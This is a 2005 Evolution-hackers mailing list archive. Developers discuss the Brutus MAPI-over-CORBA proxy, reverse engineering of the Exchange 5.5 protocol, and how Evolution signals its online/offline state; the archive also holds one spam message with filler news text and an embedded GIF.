> > Why dont you use MAPI directly in Evolution? Well not MAPI itself, but > > the CORBA wrapper for MAPI (www.omesc.com). > > Well reason one is I hadn't heard of it until now :-). > > Reason two might be this comment from the evolution plugin skeleton in > the brutus download: > > A Brutus server must be running on the Windows side if you > want to use this plugin. Please see > for the details. > > This makes it sound like you need a mapi implementation on a windows box > somewhere. Yes, Brutus wraps MAPI at the server end. Maybe not at the Exchange server but at a server with the correct MAPI dll at least. So Brutus does presently only facilitate access to Exchange servers from 5.5 onwards by wrapping MAPI in CORBA, it is not a free reimplementation of MAPI. -- jules From notzed@ximian.com Wed Feb 2 03:06:13 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id E82B41242C5; Wed, 2 Feb 2005 03:06:13 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id D78461243F0 for ; Wed, 2 Feb 2005 03:06:10 -0500 (EST) Received: (qmail 21039 invoked from network); 2 Feb 2005 08:06:09 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 08:06:09 -0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Not Zed To: Sivaiah Nallagatla Cc: ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107324676.4106.2.camel@linux.site> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> Content-Type: multipart/alternative; boundary="=-7uBHvPDSG3csBhxZdt5a" Date: Wed, 02 Feb 2005 16:01:11 +0800 Message-Id: <1107331271.9861.83.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-7uBHvPDSG3csBhxZdt5a Content-Type: text/plain Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > Isn't there a gconf key that determines the state? Or does that just > > > determine the startup state? > > > > The current state is stored in gconf, but it is NOT the appropriate > > way to determine when it changes. > > > > It is private data used by the shell only. > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > switch between online/offline modes. Umm, thats pretty shitty then isn't it? --=-7uBHvPDSG3csBhxZdt5a Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: 
On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote:
> 
> > Isn't there a gconf key that determines the state?  Or does that just
> > determine the startup state?
> 
> The current state is stored in gconf, but it is NOT the appropriate
> way to determine when it changes.
> 
> It is private data used by the shell only.
Oh, Why it is not appropirate?, e-d-s also listnes to this key change to
switch between online/offline modes.

Umm, thats pretty shitty then isn't it?


--=-7uBHvPDSG3csBhxZdt5a-- From snallagatla@novell.com Wed Feb 2 03:16:22 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ED2B0124F0D; Wed, 2 Feb 2005 03:16:22 -0500 (EST) Received: from linux.site (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 85A13124F24 for ; Wed, 2 Feb 2005 03:16:19 -0500 (EST) Received: by linux.site (Postfix, from userid 0) id CB35194FCB; Wed, 2 Feb 2005 13:40:07 +0530 (IST) Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Sivaiah Nallagatla To: Not Zed Cc: ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107331271.9861.83.camel@lostzed.mmc.com.au> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Wed, 02 Feb 2005 13:40:06 +0530 Message-Id: <1107331806.16262.4.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > determine the startup state? > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > way to determine when it changes. > > > > > > It is private data used by the shell only. > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > switch between online/offline modes. > > Umm, thats pretty shitty then isn't it? Hmm Don't know, ultimately e-d-s has to listen to some gconf key for online/offlime mode switching and existing key behaviour works for it. If we need to use a different key for any reason we can do that but still that key value also needs to be set at the same places where start_offline key is being set now. offline/online switiching of e-d-s is driven by evolution only, we are not doing any desktop wide thing for 2.2 Siva > From colding@omesc.com Wed Feb 2 03:19:49 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9FF9B124F47; Wed, 2 Feb 2005 03:19:49 -0500 (EST) Received: from pfepb.post.tele.dk (pfepb.post.tele.dk [195.41.46.236]) by lists.ximian.com (Postfix) with ESMTP id 7A2F31247B4 for ; Wed, 2 Feb 2005 03:19:46 -0500 (EST) Received: from 10.0.23.5 (cpe.atm2-0-1151123.0x50a3535e.odnxx7.customer.tele.dk [80.163.83.94]) by pfepb.post.tele.dk (Postfix) with ESMTP id 9FC215EE073; Wed, 2 Feb 2005 09:19:26 +0100 (CET) Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: Jules Colding To: Luke Kenneth Casson Leighton Cc: Evolution Hackers In-Reply-To: <20050201201548.GL5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> <20050201201548.GL5707@lkcl.net> Content-Type: text/plain Date: Wed, 02 Feb 2005 09:19:26 +0100 Message-Id: <1107332366.19114.24.camel@omc-3> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, 2005-02-01 at 20:15 +0000, Luke Kenneth Casson Leighton wrote: > > Well not MAPI itself, but > > the CORBA wrapper for MAPI (www.omesc.com). > > ooooooo :) > > let's find OUT! > > what i am looking for is a similarity between the functions i'm > implementing and something in brutus... > > hmm.... NT_Service/servant_impl/IMsgStureS_impl.cpp looks hopeful... > > ah ha! this looks familiar: > > SPropTagArray *tags = NULL; > hr = msg_store_->GetProps(tags, flags, &count, &props); > > SPropTagArray is present in that Nspi IDL file i sent. > > hmmm... okay.... okay. > > brutus is basically a proxy server. Well.. yes. > it therefore has a server front-end (in a documented format) > and a client back-end (fronting into MAPI). Yes, a traditional CORBA framework: ------ ----------------- | -------------- ------ | MAPI | <=> | BRUTUS servants | <=|=> | BRUTUS stubs | <=> | Evo? | ------ ----------------- | -------------- ------ ^ | Network > therefore, whilst it is useful to aid understanding of what is going > on, it is not entirely suitable for what i am looking for. > > if brutus also claimed to have alternative back-ends, implemented > at the MAPI interface layer, _then_ it would be suitable, because i > could take that code and place it behind the Nspi and the EMSMDB > interfaces , and run > Outlook 2000 - unmodified - and have it talk to a complete free > software exchange 5.5 compatible server. > that's my goal. You can do that today with the various Outlook plug-ins out there which implements a MAPI storage provider and interfaces back to exchange4linux, Openexchange, OpenGroupware and possibly many other groupware back-ends. Those plug-ins are not FOSS of-cause :-( Brutus is aimed at applications that want to talk to Exchange (any version from 5.5 onwards) on an equal footing with Outlook but, practicality issues aside, you could put a different back-end behind Brutus than an Exchange server, if you have the time and motivation to build one. > i'm hoping to understand enough of this stuff at some point > in order to be able to have a hope of blatting a few pieces > from some of the plethora of projects around... It does indeed seem that you already do understand quite a bit ;-) Good luck, jules From lkcl@lkcl.net Wed Feb 2 06:33:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 576AF12501A; Wed, 2 Feb 2005 06:33:25 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 0FC2B12501F for ; Wed, 2 Feb 2005 06:33:22 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id C0DC2BFFD; Wed, 2 Feb 2005 11:33:08 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1CwIut-0006PB-FL; Wed, 02 Feb 2005 11:43:27 +0000 Date: Wed, 2 Feb 2005 11:43:27 +0000 From: Luke Kenneth Casson Leighton To: Peter Colijn Cc: evolution-hackers@lists.ximian.com Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Message-ID: <20050202114327.GJ15458@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <7c35b00e050201105168b14d75@mail.gmail.com> <20050201201756.GM5707@lkcl.net> <7c35b00e05020113275f998982@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <7c35b00e05020113275f998982@mail.gmail.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, Feb 01, 2005 at 01:27:27PM -0800, Peter Colijn wrote: > Yeah, there are a lot of TNEF parsers :) > > As far as I know, WvMapi is one of the rare libraries that can > actually encode TNEFs for you, as well as extracting data from them. oooooo goooood. From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 1 16:04:51 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 3A312124457; Tue, 1 Feb 2005 16:04:51 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 23837124539 for ; Tue, 1 Feb 2005 16:04:48 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 87F1763FD8; Tue, 1 Feb 2005 15:56:43 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lists.ximian.com (headcheese.ximian.com [130.57.169.17]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id 9082A63FC8; Tue, 1 Feb 2005 15:56:40 -0500 (EST) Received: by lists.ximian.com (Postfix, from userid 38) id 28E731245D4; Tue, 1 Feb 2005 15:56:40 -0500 (EST) Received: from spr2-bolt2-5-0-cust132.bagu.broadband.ntl.com (spr2-bolt2-5-0-cust132.bagu.broadband.ntl.com [81.100.27.132]) by lists.ximian.com (Postfix) with SMTP id AFCD612417D; Tue, 1 Feb 2005 15:56:03 -0500 (EST) Received: from XXXJO-RN03 (45.188.82.112) by 81.100.27.132; Tue, 01 Feb 2005 12:56:03 -0800 From: "Latoya Phillips" To: evolution-addressbook-maintainers@ximian.com Cc: evolution-admin@ximian.com, evolution-calendar-maintainers@ximian.com, evolution-devel@ximian.com, evolution-hackers@ximian.com, evolution-hackers-447request@ximian.com, evolution-hackers-request@ximian.com Date: Tue, 01 Feb 2005 12:56:03 -0800 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_00IS_08S0408HR_07G.917S08B0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2741.2600 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2742.200 Message-Id: <20050201205603.AFCD612417D@lists.ximian.com> Subject: [Evolution-hackers] Re: Marjorie Hogan ZH Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_00IS_08S0408HR_07G.917S08B0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00LS_09P3212QH_08O.849R32U0" ------=_NextPart_000_00LS_09P3212QH_08O.849R32U0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_00LS_09P3212QH_08O.849R32U0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

 

 

Prices of popula= r U.S. consumer electronics devices fell slightly in March as declines in = DVD players and digital cameras outweighed gains in notebook computers, ac= cording to an industry study prepared for Reuters.=20

Office 2004 for = Mac, which goes on sale today in Standard and Student/Teacher editions, is= Microsoft's best effort yet to let everyone from Mac-centric corporate su= its to students create documents, crunch numbers and design presentations = that can be exchanged with folks in the Windows world. Beyond that, Office= 2004 includes powerful new collaboration features that let teams work mor= e productively =96 if they're all using Macs.=20Chipmaker AMD (NYSE: AMD) = continues to tweak its Opteron line, announcing three new additions to its= 32/64-bit processor family for servers and workstations that boost perfor= mance on two-way and four-way platforms.=20

As if vegetables= weren't already healthy enough, UK scientists have found a way to add hea= rt-healthy fatty acids to plants.=20

Prices of popula= r U.S. consumer electronics devices fell slightly in March as declines in = DVD players and digital cameras outweighed gains in notebook computers, ac= cording to an industry study prepared for Reuters.=20The government expect= s to paint a broad picture of Oracle's service record, while Oracle justif= ies its takeover plans for PeopleSoft

Office 2004 for = Mac, which goes on sale today in Standard and Student/Teacher editions, is= Microsoft's best effort yet to let everyone from Mac-centric corporate su= its to students create documents, crunch numbers and design presentations = that can be exchanged with folks in the Windows world. Beyond that, Office= 2004 includes powerful new collaboration features that let teams work mor= e productively =96 if they're all using Macs.=20Chief executives from some= of the largest U.S. companies are criticizing the technology industry in = a lobbying campaign, accusing them of selling software vulnerable to hacke= rs and too difficult for consumers to use safely.=20

Here are the lat= est clinical trials, courtesy of CenterWatch:=20

no

------=_NextPart_000_00LS_09P3212QH_08O.849R32U0-- ------=_NextPart_000_00IS_08S0408HR_07G.917S08B0 Content-Type: image/gif; name="mmtl.gif" Content-Transfer-Encoding: base64 Content-ID: <243715468227> R0lGODlhcAEcAfcAAAAAAP+1CACAAAAA/8DcwFJS92uMpf//74SEhDFSe86EEIxKEJmZmYAAgP/W ezMzM3Ol5+/v75RKEGuU1rW1veetGHulzvfWnLWEOf/MM3Nzcx8fH//33pS13u/e3lpzpe/Oe7Vz OYyMjK+vr9acKczMzGOUvVpaWmZmZjFCY5xzGNbn/+fWzoSt5w8PD//nrYRCEOe1Kda9nEpKUv+9 GNacCHuc3vf39//WSlqEtd/f37+/v6VaIcZzCPfWpWul79aMANatUnOUvYSt9zljjP/nlPf/tefO vXut3vfOMXOMtf///3O17/fv5+/3/0JCQv+1EPfea5y179aMGPfv79bW1ve1CGZmZrVzGJRSGFpz rXOcxnOc3u/Otf/eWnOl97VjCPfelCExQmuEtf+9Kf/OQvf//9acGFJrnGaZzN6lSrV7Uoy1986U EFqMrSkpKf/3///vzoyt1oS1539/f5xSKf+9EE9PT/etEM57IaW154Sc1qCgpNaUEP/394S99/e1 KXOl1r1rCJS97zk5Qmut52uEvWt7tff379aUGLVzUmuErf/GGP/ea3Ot73ul9//GCJxSEGtrc0JC UpRaGHOlznOUzq1zEPfnpUprhO/e1oy15961rd69Wve1EISt3nOl3v/vhIS1/2N7pcaUGN6cGJS9 3nu1796MEDFahM6MEP/GECEpIf//996cEHOt9+////+9CGOErWOMtWuUvXOMvffOc2uMtcZ7EIy1 3qVjGFp7te+1GNaUIf/GIXut77WMMVp7nKVrGP/WUpy992uMvZxjGCEhKYS193ul3nOt53utzve9 CIy1//e9EISt7/+9Id6MGP/eY//GKYy17++1KXul52uc1nOt3mucvf/OSpxaEN6cIYS173ut986U GDlSe86EGJRSEJS159acMdbv/96cCPfWrXOl73OUxkJjjLV7GJxSGFpztbVjELV7WikpMa215//e c/fe1oS13v/vjJS953u1996UEHOt/wAAAAAAAAAAAAAAAAAAAAAAACwAAAAAcAEcAQAI/wCXCBxI sKDBgwgTKlzIsKHDhxAjSpxIsaLFixgzatzIsaPHjyBDihxJsqTJkyhTqlzJsqXLj3RiypxJs6bN mzhz6tzJs6fPn0CDCh1KtKjRo0iRQoz5sqnTp1CjSmXKkI7Uq1izat1a0apCr1zDih1L1ilYg2fL ql3Lti3GtAPhup1Lt+5cuXLt6t3LFyvcvH0DCx5s8i/hw4gTezSsWPCAxwQfDxAouTLlypMjW16C mXNmyI21Mg7NV7Lmz5kLgvY8cLXr1qhJZx0t2+5k0LdjG1zNurfv1Lk5175Ke/jc4MJxp9bM3PPy 1tAhPzf+sjh1tqh1Y1be3Dlv4JGvP/+1Lr5s9svody/nfXl6eb9o37cFn559+vrA3cuPSn4/V/q9 2fdbfrD5J1p8BpLlnnKdecdegwkSh2CEFFboUn8WZqghTBNu6OGHG2EI4ogkVtVhiSimiJCIKrY4 IouheQWYRDNyJeNagNXoFox1ybSQjj/6KBCQKNH0I0lCFtYhkRIWxGRbYM345EFRDjkVQVKOVKWS TmIJ5Yl9pSVjkjcuMROWVHVppZlJslklU2e2KSdVW3ppp5txrVknmWwOmWaedu6ZplVw8uknnUKe aeaXag4m5pqLRlqmpIDeOSljg1aKKaCEUqnmlmWCymmdJ14K6Zia6snpqpWqxeOOn7L/aqqbfx66 Z1yJWqpprl3i9amipkYJLJorNtqprZNGSqmys541JVSvMsrqss1+NWG1qaqqrZe+Borgm61Cimup eZIqrqjMnnqutOEGdqu22CrbLrrLqrvtrPLemS68+tKrb7at+osuvcnC2ihhcspqL55gCkqnrqeS +WdeRqIpsJOZ4ppjrfkaaq+wD0csblnRunjSs4ihTDKYJl+4X5uOstzyzBqWTPPN4tmM88616czz z4r5DPTQMR9M9NHDCS1WAUw37fTTUEct9dRUV2311VhnrfXWXHf9dGJKh1WAXmOnWPZhYXN1Nl1r k9i2YGlv9XZbc39YN19xa3W3Wntr/9i3XXln9fdYg1dY+F0y23W42iouzu7IfDmud+NgJ16X5IJT nrLlbJOtOdqcz3W4GaAo48g9TLzyxSPJdGNGQ6SbjrrqrLtuEeb74b6y0ZE/BAoXyfyhDDLIiPKH N0w4wgZDvwc/fPHHJ788RbovtKBw4an3HYTQoVT9WIFjdbgFlVjTDRvIPJ8PNcg4UggsCpFvPvrq s+8+/BJ9n9D162HfPWX/A2B0vFc53u2lcHugRQssYYNkKIMJ3qDGEAZRvGb8oBwISeACG/jACE6w ghfMX0ie85nw9E81AgzgbQi4OQN6riGWmEUaLGCJQCABCdjYQwvYQA02/OEX6CDGQf9iOMMa3jCH O+zhD4MYEf3tD4X+S072DkJCE7IQdC5UnEO0cItaGGILltgDEnJBDyQEwhrP+MXwvjAIg3DRi2AU IxnNiEY1IoONEHHiE1MIIADtBor+089H9LiV8F2lcJMIhhLGMItKBEIOUrDHJuaAhGQEogWngAAX 8DeQRC6ykY+M5CQreclMbvIhhKTi//q4StM46IRRHEkqZxM6txyOEESohQF2YYFlmMIJK4jHOD5h gWRY4hoTMIBBcKlLXvoSmMIkpjGRqUyHzPKPJ9xOCaHoR22a5JpN+lfvHjKDVCjBEIfYgh46YIFA ZKMSW4jnBLZAgYOU85zpXGc73xn/zy3Ms57WHMkKu1fFWGIPlgUlCTivlMXLRUQE4JDFGGQhixwU Iw2zMIEQ0kGLYighIRCVKEUtilGNctSjeSRJFa8XxW6mcIoiWSh/akk3iVRBDOpQggHcsIiJKmER i5iFEiShkJvmdKc9lcVPgzrUlAoUhSz1Dkyl+EeFFlCcB6TICVKQADR84BZjGMUoZNGOTDRkq139 aljHWtYmfg5hNGVL9RDwhAfA4w3HYMUTNAARutoVr3rlq1vNdtV2ZVWLhG0hVl/o0MRicbGIbSyK ZAqtuK6FslcsEWbNYlm+MVazhYXcYSULWsUa9rOie2vRIEva1DoWrg3tXGRL+9jT/yrOa7jNrW53 y9ve+hZqoc3XOFs7os02xZBSMW5JlDsY5rYEuVFxbkxVC7fOlkW6IcHucGHLWtkSF0TaTQl0oRJe j5R3tqu17XflSl13WZcsC33dReQb0NemV7So5UgrMLLf+k42uCpbGkX2e4A4hMEBIHCAAy7AgYH0 FyEENjCCFcxgB/uXttxVr3cfgggQAMITdghxiGkQYl50YiEd/rCIR1ziEztVJAKIMUEEUBAaz9gg Nl5CjHf8kvNyqbuuTch+W9GKA/gAEAGwQyxCHItVMDkWULADIAgy5CIfOclLVrKTlQxlKQ82JDkO 841zrGMcC4TMZW6Jj0sy3qcUDv8OMfCEM0QcizpDAhKxoAEeoAAFV/jBIHCWM53tjGc989nPL/4I mm1MZho32sxpHgiaU7JmJL2XcA6JATOUvGI7+GIa06ABFAJgBVS4QxMG0TSnV/zpUI+61KdOtEcm feYx37jGtSYvgAnzt1a8wAorXoUvkoADbWgDGlCwAh5wIQgwYIDKvw72sIt97GQvu9nPRiWMESLm XEda0pKWcVMqraVLC5ghtvDEkhkxjTJIox5eGIYvoOCJGigAFz3IgwoevIR0r7vd7473vOt973zv W9tg5ja4vT3phtM6s/cV7mgVgglgMyIJ0iiCEUIxDECQwRyqmEI4gLAOXbCgIBX/t8PFM77xjn88 5CMv+ckRDpKHM3rHPP62t3Gt5l031yHVCHEG5NGIKEgjCa7oQxtUoYpSbIMHHjhI0O0w9KIfPelL b/rToy7rjiw611/XeZrDzhJyi6TNTvmbGVoRhDPwIgM4yEAFojGFKXyjDfi4RCRCcJC1t/3tcZ97 3e+e971PBLPdLjOtHQ1psq/E7CFB+7gdcg41kOMMiUhEH76RiDacAQsL4ME8+F2Qyl8+85vv/OdD P/rDkyTntV68jnHO+DPjvMc+F0zhWgEMEpSiF73gRh9IIQ4J1OEIAiE9lXv/++APv/jHT77r7Vvd 2AZ5Ia3oAiW2IQxjwCAL7FAE/xWGTN+DZH/73f9++Me/hFaUv+vgzX1gFncDGazhHZxowkTqf//8 bwTylyV/fQGAFUGA1yWA23V9boOAE6eAxcWA+VVT1Ode1mdLEWg3EIheFjiBYWJuYnOBHmKAHSF5 uKeB8Wda+HVbv7WCLNiCLviCVJOBSDODtZWCNHiDFAhkOLiDdEGCPPiDLOGDQDiEJ+OBagODSJiE SriEWCODG+aAJ1iDEgeCnsWBeGOEckOFfuOEUMheVrgXQlh2WpghIsgRYfh4Y2ghZRgiWDg5JoiB KDiFbxiAX6gXZ6gSawh/cCiFAfaBc7gheZgRd0hpaWg4XLiB6xWChyiBiQiIi//ohY24hXHYh4zz EDewBJdYEZeYiRwRiFk4ibz2EFRwA6RIBabIiQ4xiqV4ihoxSw1gEA0Qi7L4iq8Ii0tAi7MYi7eY i7YIcdWng4y4EKpIisR4A1TQBKiYEMNYjMaIjBfhir1YELUojbdIENNYjdaYjddoVaD4cw3hAafI jMTIigkBjsvIjOQoQhyxjdgYjQJRi9cYj9Q4ELToizmoYV1oEFXgAeYojsVIBVynj/wYjv5ojAFJ cxrBjuz4jvMoj/Q4jwy5kNn1iHTIEDtAAVWwj/3oj/t4EBeZkQN5jsTYkXpYEQqZi9OYkg+5kgyZ jS3ZjtzIh6H4jQiAAHywAyD/2QSmGI4ASQHJuAQeUJM3mZM7qYo9+ZMKAY0QGY0qyZK7OIsuCZOy RJFV+I18cAKSIAIUgJP8qJM7WQUigAgH4QFXmZVbqZFeaYpgKZYImREKqRD16JQOCZMoKZHmRZUH +BB+UAUUQAeSQAd8cJYayZd0QAUIsZd9+ZeBiZOD2ZeG2ZYY8ZYJEZcvSZdRuY122RGeeBGDaI8M cQNVwAeScAKASQFbSQEnwAdISRCgKZqkGZinmZqriRBKGZUIgZm26ZALmZn/h5fwpYkesAMiMJoa oAEzgAAHqRA3EJzDeQLFeZzJyRCuyIt1uZSW6ZTVuJvL5ZuYhhFUEJpa+ZgR//GdfBCe6vhf3ah7 hUghm2kRnXkS7bkQ8XlI3HlukUiG9emH96mG+VmJ+2mI6Tl/6xkh8zkR7/lNA5ogBUojbZg5fyiJ MumN/8me/fmJE0qgFeqGF6qgGeqgG2ogCxoRB7qdD4qfATqACQqiHSo+KeofIboUDSo+TDijNFqj Lrii9Fmi/HmiCYiIGBZxlGihT/iAPNqAPrqARdqiLFqHgBOjOfqhLoqjyaWk8vGiDzGiMTmeHpCR VSCeEAGQXOql04eeEaqeEbGlXJqm0VmOaaqmBdheHViBwdgQGUkAbZqmdFoFdnqnGUk9cHqFcgqJ eXqnasmPVbAQfNql32moY/8KEgBQEI9qpPdog0NajnzQpoa6pQN5qAhBlpiqqRr5necZEpG6BKVK pWSBpVPpEBippjvwnYsKjmsqEK3KpcEJq6E6q0lJEqV6qjrag046pQ1BBSKgphkJkLBqimYgpgJB rMbapeCoqFSwrF8mEo96qgCQrQNxrdiqrQLRq2knpdHlEB4gCZ9qqEW5nGNprmrKj1uarrpKmyaB rdv6rZF6r/X6rabqZuKqa3R6AmhqjuaYrkB5EFUAsCBpigO7k5cYrwehXL6ar+AKqfUasWKYpL/q AQDrrsjqBKNIBYjgBA07lhs7kODoscYYsiNbkhxxrQSRrd46saYKsy/rr2X/KqDfaK4c67FO4AHL OZJrWq4aebJU0LM/S4okCZkeMbFMK7H5uq8Wi4YY+5/EKgkCy48oW7SXiADMugRVe7UekLUiuwRc W62O6rQzq69qe6/gGrV42K/8yqozIK09m7WkuAM7kBAUMLc7Wbcfe7d5a7ZLS7Fpi69qW7iH67ae CajAKKgL4QEi8AR0ewOIsIlgqauQK7l9S7mWKwIO+7B/CobBOq4PUQV0FZbG6AQiewMiQAecmhCm +wSoW7Sr27qvy7IQmmGUmo8IAZYz8ASScJNXOQPFSqci8LvBuwPDW7yNiqQ3i6JnKpyjiZUisAOf OxDMOb1Zab1vyqQ9Mro2/6ulmtq1DAGQ4/uMoWuH4Bu3UJo7cBuuv0qhU1upjkukz9ujc2q/uiuH 7fukP/qL+HikAhyF+xukemOjCJzACrw180uEDhwWqvrAEkwRETzBFnyl63vBGsyGgbrBHlwkGfzB IsygHTzCJswhJXzCKqwRFbzCGtzCLmzBMEyEU2LAJjPDQUgqMKMxHHMkFLzDb2GDQWokFVMx/Hsd OLwSGbMvB/MkKuMsIyjEQSxO3ZIgSawSx1IwxQEyFkMrh1Iuj7IigzIn1QIsiAInGsPDnkLFa2zF IQw+1MI7YUwwTIwqMkPHHaMw3zIt+KLGtDImHmMgVyxeVqLF5LIvYYzIxf/Sxs0Cxfzix3hsLnls QDY8qUccNIU8Mlv8McYyLS6Ex37CyXUsyvWyyZRMIYMMwqG8MP2SLeBCyktCynOsx4p8L6ysyW8c p43LXRPTw3+MMc4yxl8sxGTsyr0cMn3ixaHMxbfcMWYcyP6RyjH8g9I8zTtYzdZ8g9iczTO4zdx8 NN78zUMTzuL8M+Rczjtzzuh8M+q8zjPTzu58w7kczy88z/Qsww3KHfsjSArCzxsiIAoB0IEh0HIs ERCizwhB0A/izyohINwTIQTtGxJ9GK4hSDZT0fdhPfy80FJhHxitIhFNGB/dxgFcICaN0A2C0Ca9 0geNHA8NG67EGjH9Sur/wdKbMSAwHdLSsT0zXSAxvdPtwdMV7UpAzR1EvRlDjdE9jR4MItQonR8/ 7dI3TdMZXdAPAdD6rNTIoRokpBsBYhkjndDn8dUrDdMafR9PrdHaQSBcvdam8dEeTSCdwSD40Rxw rdJBvdVpjdN8PddsPdICXTJYvdbaox/atNfbU9Y5jdhs3dZO7dV7vc8n3dg2ndF33dU1Pdmavdlk XdUSfdeczdjdEdmBbVmDXdeOLdZcndcq7U2rjdqdPdFtjdZyDdVTTUV/Tdm0bdnbkdOK/dmQ7dWx Hdll7dqgjR8pvR69zdeyPS8QkdidHdfNzdHTrdxnDdvEvdvMDdSeHdC5//3bx93dZi3b0B3ewx3c md3d4Y3XvI3bv73Iu9zXhM3Uwl3Vol3Zr33eyJ3exD3Tl83f6J3fra3b+l3e3x3aAd4d8t0e+73g +E3X4i1cz9LStH3Uik3dDnLht73YCf7WCzLVy83gpxHW+J3hhU3iLe3fSG3dVC3iSd3Y0j3iyq3X 3G3iE809Hv7ekFPJRxPSEeHjAsXQLwHkWBxXh33kSJ7kSr7kTN7kTv7kUB7lUj7lVF7lVn7lWN7k JL27EkzkVy3kQf4fYM5Z91zm8F3SZl7O8JzmJLLmbA4ibv7mHhLncl4z9lznPEjneF4her7nEVLF 